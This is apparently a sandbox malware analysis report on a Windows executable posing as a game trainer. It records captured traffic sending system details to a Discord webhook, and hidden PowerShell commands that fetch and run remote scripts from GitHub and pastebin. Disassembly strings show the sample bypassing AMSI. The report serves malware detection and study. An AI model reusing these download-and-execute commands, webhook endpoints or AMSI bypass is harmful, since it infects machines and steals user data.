2024-10-15 14:00:34 UTC	618	IN	Data Raw: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 22 40 0a 7d 20 7c 20 43 6f 6e 76 65 72 74 54 6f 2d 4a 73 6f 6e 0a 0a 23 20 53 65 6e 64 20 74 68 65 20 50 4f 53 54 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 77 65 62 68 6f 6f 6b 20 55 52 4c 0a 74 72 79 20 7b 0a 20 20 20 20 49 6e 76 6f 6b 65 2d 52 65 73 74 4d 65 74 68 6f 64 20 2d 55 72 69 20 24 77 65 62 68 6f 6f 6b 55 72 6c 20 2d 4d 65 74 68 6f 64 20 50 6f 73 74 20 2d 42 6f 64 79 20 24 70 61 79 6c 6f 61 64 20 2d 43 6f 6e 74 65 6e 74 54 79 70 65 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 20 20 20 20 57 72 69 74 65 2d 4f 75 74 70 75 74 20 22 4d 65 73 73 61 67 65 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 0a 7d 20 63 61 74 63 68 20 7b 0a 20 20 20 20 57 Data Ascii: ======================"@} \| ConvertTo-Json# Send the POST request to the webhook URLtry { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Output "Message sent successfully."} catch { W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49952	162.159.138.232	443	3136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:40 UTC	311	OUT	POST /api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 299 Connection: Keep-Alive
2024-10-15 14:00:40 UTC	299	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 34 45 53 46 53 38 47 35 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 2a 2a 55 41 43 3a 2a 2a 20 4d 61 78 69 6d 75 6d 20 55 41 43 20 2d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 4ESFS8G5\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\nUAC: Maximum UAC -
2024-10-15 14:00:40 UTC	1255	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 14:00:40 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729000841 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V5apL0iNoHSriEsYfXs6DkvhAJ6VrV7f%2FFS3lB7uozRivpAB5EybX%2Bzffc49OcE37h6HX3KPu84iVNqf2on7sd3gO98II29SxT8gKjC7HM%2FitB4568wkjtIXWsEj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=2ea9685ce586c51b0bca2e633e8796cf617bbecc-1729000840; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=pfSABZuGpKd97j4bwvkwvMGT1XMDmt46TNQbVDaLbnI-1729000840266-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d30563308774793-DFW
2024-10-15 14:00:40 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49990	162.159.138.232	443	7296	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:47 UTC	311	OUT	POST /api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 299 Connection: Keep-Alive
2024-10-15 14:00:47 UTC	299	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 34 45 53 46 53 38 47 35 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 2a 2a 55 41 43 3a 2a 2a 20 4d 61 78 69 6d 75 6d 20 55 41 43 20 2d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 4ESFS8G5\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\nUAC: Maximum UAC -
2024-10-15 14:00:47 UTC	1257	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 14:00:47 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729000848 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yS%2F3xDx9elF6UPdyjvAxMpz8NOukibj3jNZnbq09xDjG%2FHavC6Pl6RpdvOniPUHPxYFWpFah9vTMLy4MUNszcFDGFp%2B%2FUmatePlZJMMcq8vZw8B4Du9ehCZCqoi7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=c453b1697f233c556eb34ab0a1e46ced33d81e9a-1729000847; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=AxGKe2q8ncRCpRbVwbVwvBf2CntulAILogF5xavJrSY-1729000847285-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d30565ebc463ab9-DFW
2024-10-15 14:00:47 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Target ID:	0
Start time:	09:59:52
Start date:	15/10/2024
Path:	C:\Users\user\Desktop\xK44OOt7vD.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\xK44OOt7vD.exe"
Imagebase:	0x7ff7ea020000
File size:	116'736 bytes
MD5 hash:	5E40E28EED9C4EDE7B34B64B6C58571C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:59:58
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:59:58
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:00:02
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline"
Imagebase:	0x7ff6dd280000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:00:04
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8530.tmp" "c:\Users\user\AppData\Local\Temp\rlfwipso\CSC770B74A1B374466B59916F033873949.TMP"
Imagebase:	0x7ff6657b0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:00:08
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe"
Imagebase:	0x1dd2d2d0000
File size:	56'320 bytes
MD5 hash:	BECD67D75C5E7C2411E9F481086CA1E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	10:00:08
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:00:18
Start date:	15/10/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
Imagebase:	0x7ff764340000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:00:21
Start date:	15/10/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Imagebase:	0x7ff61a9c0000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:00:21
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:00:21
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:00:22
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:00:29
Start date:	15/10/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Imagebase:	0x7ff61a9c0000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:00:29
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:00:29
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7296, Parent PID: 7232

General

Target ID:	18
Start time:	10:00:29
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Disassembly

Reset < >

Analysis Process: xK44OOt7vD.exePID: 7324, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	1199
Total number of Limit Nodes:	11

Executed Functions

Function 00007FF7EA0211C0 Relevance: 40.7, APIs: 14, Strings: 9, Instructions: 430
libraryprocessloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7EA021290
MultiByteToWideChar.KERNEL32 ref: 00007FF7EA0212E4
LoadLibraryExW.KERNELBASE ref: 00007FF7EA0212F8

Part of subcall function 00007FF7EA021920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7EA021A65
Part of subcall function 00007FF7EA021920: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7EA021A6B

GetProcAddress.KERNEL32 ref: 00007FF7EA021569
GetCurrentProcess.KERNEL32 ref: 00007FF7EA021585
WriteProcessMemory.KERNELBASE ref: 00007FF7EA0215A3
SleepEx.KERNELBASE ref: 00007FF7EA0215AE
CreateProcessA.KERNELBASE ref: 00007FF7EA021649
WaitForSingleObject.KERNEL32 ref: 00007FF7EA02165C
CloseHandle.KERNEL32 ref: 00007FF7EA021666
CloseHandle.KERNEL32 ref: 00007FF7EA021670
MessageBoxA.USER32 ref: 00007FF7EA02168E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7EA02190D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7EA021913

Strings

AmsiScanBuffer, xrefs: 00007FF7EA02155F
powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", xrefs: 00007FF7EA0215B7
siSc, xrefs: 00007FF7EA021390
fer, xrefs: 00007FF7EA0212FE
Error, xrefs: 00007FF7EA02167E
anBuf, xrefs: 00007FF7EA02131C
i.dll, xrefs: 00007FF7EA0211FF
ams, xrefs: 00007FF7EA021231
Failed to create process., xrefs: 00007FF7EA021685

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo_noreturn$ByteCharCloseHandleMultiWide$AddressConcurrency::cancel_current_taskCreateCurrentLibraryLoadMemoryMessageObjectProcSingleSleepWaitWrite
String ID: AmsiScanBuffer$Error$Failed to create process.$ams$anBuf$fer$i.dll$powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)"$siSc
API String ID: 3479162059-290396749
Opcode ID: d7b29b5f5fee5b7ec96a9fd973fe06499e66b6e7b58cf3ba6fb75891a3546755
Instruction ID: c46309ee55ff2a47ce9dbf78c3d7d026c898580de5b9f814aa66e910dbdf159b
Opcode Fuzzy Hash: d7b29b5f5fee5b7ec96a9fd973fe06499e66b6e7b58cf3ba6fb75891a3546755
Instruction Fuzzy Hash: 84229572E18B8685FB10DF64D8443AC7761FB497A8F504366DAAC07B9AEF78D184C321

Function 00007FF7EA02B0D8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00007FF7EA02B254
GetProcAddress.KERNEL32 ref: 00007FF7EA02B260

Strings

api-ms-, xrefs: 00007FF7EA02B19E
ext-ms-, xrefs: 00007FF7EA02B1B1

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 7348f625054ab8bcd707b2469e6c6aea2445f2d121df6d14dca7bebcda2ebe27
Instruction ID: 901beeafc89baaf921515e3a9dcf51923b3ef59ebb63e4b72fb32b7e86eb52d8
Opcode Fuzzy Hash: 7348f625054ab8bcd707b2469e6c6aea2445f2d121df6d14dca7bebcda2ebe27
Instruction Fuzzy Hash: 6F41D231B19B0381FA16EB1699507B9A399BF4AB90FC84176DD1D47785FE3CE4098332

Function 00007FF7EA021FD4 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7EA02245C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7EA022470

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7EA021FF8
__scrt_release_startup_lock.LIBCMT ref: 00007FF7EA022066
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7EA0220B9

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 5b8296b5d020f9003fc5c8adc8dfcb2d70eb87d388169637e8a203d8ddc243b2
Instruction ID: ec31fdbe35e153569a88c09d4f523026423c9d40f32fff727652d7abf27d853b
Opcode Fuzzy Hash: 5b8296b5d020f9003fc5c8adc8dfcb2d70eb87d388169637e8a203d8ddc243b2
Instruction Fuzzy Hash: 3C315011E0C34381FA65B7A5A5523F993919F59784FC440B7EA0E472D7FE3CA4098273

Function 00007FF7EA0272C0 Relevance: 4.5, APIs: 3, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7EA0272BC), ref: 00007FF7EA0272D1
TerminateProcess.KERNEL32(?,?,?,00007FF7EA0272BC), ref: 00007FF7EA0272DC
ExitProcess.KERNEL32 ref: 00007FF7EA0272EB

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 8cca125ee007edf4a820fc2fc23bc9cf9c93093577fcd82e637b459671fd83a5
Instruction ID: 8c7e0774f71b4b68eaf61ff1927c6bc05c6c3734c8c992b309c51b2254d8fb69
Opcode Fuzzy Hash: 8cca125ee007edf4a820fc2fc23bc9cf9c93093577fcd82e637b459671fd83a5
Instruction Fuzzy Hash: FCD01C10F0870382FB183B301A893B993212F8C701B8018BAD80F02383EDBCA80D8232

Function 00007FF7EA0271F1 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7EA02721F

Part of subcall function 00007FF7EA027318: GetModuleHandleExW.KERNEL32 ref: 00007FF7EA02733D
Part of subcall function 00007FF7EA027318: GetProcAddress.KERNEL32 ref: 00007FF7EA027353
Part of subcall function 00007FF7EA027318: FreeLibrary.KERNEL32 ref: 00007FF7EA02737A

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 79e457cb8cf1577cab689f304d33f1789883641c835730ea0980301c81cd37cd
Instruction ID: a6b1afea2f3d3248b5d42e4e0101adbf07e2c7b8b3b6dd73a2aa5e96ea1e8e18
Opcode Fuzzy Hash: 79e457cb8cf1577cab689f304d33f1789883641c835730ea0980301c81cd37cd
Instruction Fuzzy Hash: E3212C32A057438AFB26AF64D4403AC77A4EB44718F940677E61D06FD6EF38D588CB61

Function 00007FF7EA02A3CC Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EA02A3F7

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
